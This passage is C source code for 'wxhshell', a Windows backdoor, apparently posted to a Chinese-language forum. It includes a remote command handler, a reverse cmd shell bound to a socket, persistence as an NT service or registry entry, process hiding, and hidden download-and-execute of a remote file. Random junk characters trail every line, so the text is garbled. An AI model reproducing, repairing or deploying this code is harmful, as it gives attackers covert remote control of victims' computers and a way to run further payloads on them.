      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W f8@ B#^{  
    break; q%q+2P>  
  } .p=J_%K}0x  
  // 安装 LqI&1$#  
  case 'i': { N-2_kjb!  
    if(Install()) B f  y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A#?Cts ,M  
    else 0Cf'\2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /mp!%j~  
    break; h {Jio>  
    } &$2d=q8mh  
  // 卸载 jPz1W4pk  
  case 'r': { >#&25,Q  
    if(Uninstall()) N.Q}.(N0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 F39'  
    else #+_=(J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iuXXFuh  
    break; ?R sPAL  
    } ,d lq2  
  // 显示 wxhshell 所在路径 i9qIaG/  
  case 'p': { l44QB8 9  
    char svExeFile[MAX_PATH]; 6A =k;do  
    strcpy(svExeFile,"\n\r"); 2 #yDVN$  
      strcat(svExeFile,ExeFile); N$t<&5 +  
        send(wsh,svExeFile,strlen(svExeFile),0); pN9U1!|uam  
    break; LcA7f'GVK  
    } <6;@@  
  // 重启 <3j`Z1J  
  case 'b': { c+z [4"rYL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M~`^deU1  
    if(Boot(REBOOT)) IIGx+>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ueD3;V  
    else { sqV~ Dw  
    closesocket(wsh); `ItoL7bi  
    ExitThread(0); kzK9 .  
    } x%ccNP0  
    break; KrG,T5  
    } NhTJB7  
  // 关机 n,s 7!z/  
  case 'd': { 4,R"(ej  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *CQZ6&^  
    if(Boot(SHUTDOWN)) "WtYqXyd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^jRX6  
    else { ` s+kYWg'Z  
    closesocket(wsh); \5j}6Wj  
    ExitThread(0); WPpO(@sn  
    } f<rn't{  
    break; 9Qu(RbDqC  
    } | X#!5u  
  // 获取shell stW G`>X  
  case 's': { s~>1TxJe  
    CmdShell(wsh); k$f2i,7'  
    closesocket(wsh); +hispU3ia  
    ExitThread(0); OXKV6r6f  
    break; d)Z&_v<|  
  } o+XQMg  
  // 退出 +rSU  
  case 'x': { OR $i,N|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ue+{djz[4  
    CloseIt(wsh); z>y# ^f)r  
    break; #rr!A pJ  
    } 0J466H_d{  
  // 离开 S#yGqN0i  
  case 'q': { +%klS `_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,g0t&jITo  
    closesocket(wsh); Np$&8v+en  
    WSACleanup(); ]=i('|YG  
    exit(1); D{y7[#$h$  
    break; H=~7g3  
        } 88S:E7 $  
  } yVXVHCB  
  } P{QHG 3  
Z1 ($9hE>  
  // 提示信息 Z.Dg=>G]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #XqCz>Z  
} UA~ 4O Q]  
  } aMHC+R1X  
eYlI};  
  return; +zLw%WD[l  
} lEHXh2  
;&}z L.!jo  
// shell模块句柄 (jyufHm  
int CmdShell(SOCKET sock) :HY =^$\  
{ xw_)~Y%\  
STARTUPINFO si; (4ZO[Ae  
ZeroMemory(&si,sizeof(si));  -K8F$\W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o^"OKHU,S0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rMjb,2*rC7  
PROCESS_INFORMATION ProcessInfo; {dRZ2U3  
char cmdline[]="cmd"; 6`7bk35B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]63! Wc  
  return 0; IDos4nM27]  
} $$o(  
2.MUQ;OX  
// 自身启动模式 7j=KiiI  
int StartFromService(void) _&s pMf  
{ 8 qw{e`c  
typedef struct &?1^/]'"r  
{ <~w3[i=  
  DWORD ExitStatus; 6P>}7R}  
  DWORD PebBaseAddress; =0PGE#d{t  
  DWORD AffinityMask; w >2G@  
  DWORD BasePriority; I"3C/ pU2  
  ULONG UniqueProcessId; 6H  U*,  
  ULONG InheritedFromUniqueProcessId; ZADMtsk  
}   PROCESS_BASIC_INFORMATION; ZS]Z0iZv9  
a:HN#P)12  
PROCNTQSIP NtQueryInformationProcess; mDbTOtD  
<pHm=q/U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -gba&B+D"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MVvBd3  
j} ^3v #  
  HANDLE             hProcess; M1#CB  
  PROCESS_BASIC_INFORMATION pbi; cVxO\M  
<`; {gX1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f$-n %7  
  if(NULL == hInst ) return 0; 55$';gh,9  
<BZC5b6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _TsN%)m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1t?OD_d!8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A9K$:mL<2  
]a~sJz!  
  if (!NtQueryInformationProcess) return 0; qS!N\p~>  
Pz:,de~5Qm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9Sd?,z  
  if(!hProcess) return 0; G![4K#~NM  
~a`  xI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CX\XaM)l  
 ^QJJ2jZ  
  CloseHandle(hProcess); +s8R]3NJ_H  
0}`-vOLd-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mb\(52`)Q  
if(hProcess==NULL) return 0; 6g" h}p\{S  
kAPSVTH$v  
HMODULE hMod; !yrh50tD  
char procName[255]; ]Z6? m  
unsigned long cbNeeded; S`FIb'J  
v;;3 K*c>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p0zC(v0*  
LK}FI* A_  
  CloseHandle(hProcess); l,l6j";ohd  
6XU p$Pd(  
if(strstr(procName,"services")) return 1; // 以服务启动 BU??}{  
s>L.V2!$0  
  return 0; // 注册表启动 7t<MHdw  
} h| wdx(4  
?#Z4Dg 9|  
// 主模块 .lP',hn  
int StartWxhshell(LPSTR lpCmdLine) VWHpfm[r%  
{ UdnRsp9S  
  SOCKET wsl; 6<fG; :  
BOOL val=TRUE; MO7R3PP  
  int port=0; ~AX~z)  
  struct sockaddr_in door; _FE uQ9E  
NjEi.]L*fX  
  if(wscfg.ws_autoins) Install(); xYYa%PhIC  
s9nPxC&A  
port=atoi(lpCmdLine); 2Zuo).2a.  
'#LzQ6Pn  
if(port<=0) port=wscfg.ws_port; YMK ![ q-  
u?dPCgs;h  
  WSADATA data; U 887@-!3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'xkl|P>=],  
7f ub^'_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =IQ}Y_xr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BYM6cp+S  
  door.sin_family = AF_INET; Rky]F+J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V8B4e4F  
  door.sin_port = htons(port); -6NoEmb)\'  
ZM v\j|{8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vVa|E# [  
closesocket(wsl); 5~IdWwG*w  
return 1; m<>BxX  
} P,'%$DLDg  
_\tv ${  
  if(listen(wsl,2) == INVALID_SOCKET) { (,QWK08  
closesocket(wsl); !\BZ_guz  
return 1; YJ"D"QD  
} JVy|SA&R  
  Wxhshell(wsl); $>O~7Nfst7  
  WSACleanup(); !R\FCAW[x  
lbIPtu  
return 0; XJ3sqcS  
`{Q'iydU  
} bK~Toz< k  
*OFG3uM  
// 以NT服务方式启动 1a{r1([)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B^P&+,\[}  
{ &*+$38XE^  
DWORD   status = 0; f ?k0(rl  
  DWORD   specificError = 0xfffffff; 2y^:T'p  
-2J37   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0g|5s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vZTXvdF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^-k"gLg  
  serviceStatus.dwWin32ExitCode     = 0; &Q?@VN i  
  serviceStatus.dwServiceSpecificExitCode = 0; U6@c)_* <  
  serviceStatus.dwCheckPoint       = 0; ~Y CH5,  
  serviceStatus.dwWaitHint       = 0; |>]@w\]  
Wmcd{MOS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EC,`t*<  
  if (hServiceStatusHandle==0) return; MU a[}?  
w($a'&d`0  
status = GetLastError(); TMPk)N1Ka  
  if (status!=NO_ERROR) <Jhd%O  
{ c5WMN.z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }5oI` 9VT  
    serviceStatus.dwCheckPoint       = 0; Uz!3){E  
    serviceStatus.dwWaitHint       = 0; Jk\-e`eE  
    serviceStatus.dwWin32ExitCode     = status; #d\&6'O  
    serviceStatus.dwServiceSpecificExitCode = specificError; S5 q1M n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lRg?||1ik  
    return; s)qrlv5H  
  } jmr .gW  
.UL 2(0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >iOf3I-ATt  
  serviceStatus.dwCheckPoint       = 0; <nbk lo  
  serviceStatus.dwWaitHint       = 0; EyPJ Jc8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s~ 8 g  
} 2Wluc37  
Vl5>o$G|<.  
// 处理NT服务事件,比如:启动、停止 <L qJg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ZSC]w^  
{ $]E+E.P  
switch(fdwControl) g[pU5%|"[  
{ -\?-  
case SERVICE_CONTROL_STOP: 2n@`O g_0  
  serviceStatus.dwWin32ExitCode = 0; [//i "Nm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VrZfjpV  
  serviceStatus.dwCheckPoint   = 0; ^*.$@M  
  serviceStatus.dwWaitHint     = 0; 23^>#b7st  
  { U; oXX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~bb6NP;'L  
  } P5_Ajb(@'  
  return; { %X2K  
case SERVICE_CONTROL_PAUSE: lF!PiL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vNs%e/~vj  
  break; <<MpeMi  
case SERVICE_CONTROL_CONTINUE: `~u=[}w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cHFW"g78  
  break; ) >FAtE   
case SERVICE_CONTROL_INTERROGATE: "PI;/(kR  
  break; o( zez  
}; *FC8=U2\X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '1b 1N5~  
} jC>ZMy8U)4  
X13+n2^8]  
// 标准应用程序主函数 'M"z3j]m-,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) St%x\[D  
{ +-|""`I1I  
,#ZPg_x?1  
// 获取操作系统版本 9#:nlu9  
OsIsNt=GetOsVer(); K.}jOm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S#C-j D  
E72N=7v"  
  // 从命令行安装 tz;o6,eb  
  if(strpbrk(lpCmdLine,"iI")) Install(); F7JO/U^oU  
6L8nw+mEK  
  // 下载执行文件 ,ZJ}X 9$<  
if(wscfg.ws_downexe) { wea  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q ][kD2  
  WinExec(wscfg.ws_filenam,SW_HIDE); n&;JW6VQS  
} G=17]>U  
; D<k  
if(!OsIsNt) { [#gm[@d,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?l6yLn5si^  
HideProc(); .euA N8L  
StartWxhshell(lpCmdLine); @9 S ::  
} *J[ P#y  
else 5 [~HL_u;,  
  if(StartFromService()) (]'wQ4iQ  
  // 以服务方式启动 tB>!1}v  
  StartServiceCtrlDispatcher(DispatchTable); z]8Mv(eL  
else YM_[   
  // 普通方式启动 ^aAs=KditO  
  StartWxhshell(lpCmdLine); {"Sv~L|J;  
\UK}B  
return 0; 5\quh2Q_  
}
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只看该作者 1 发表于: 2006-10-10
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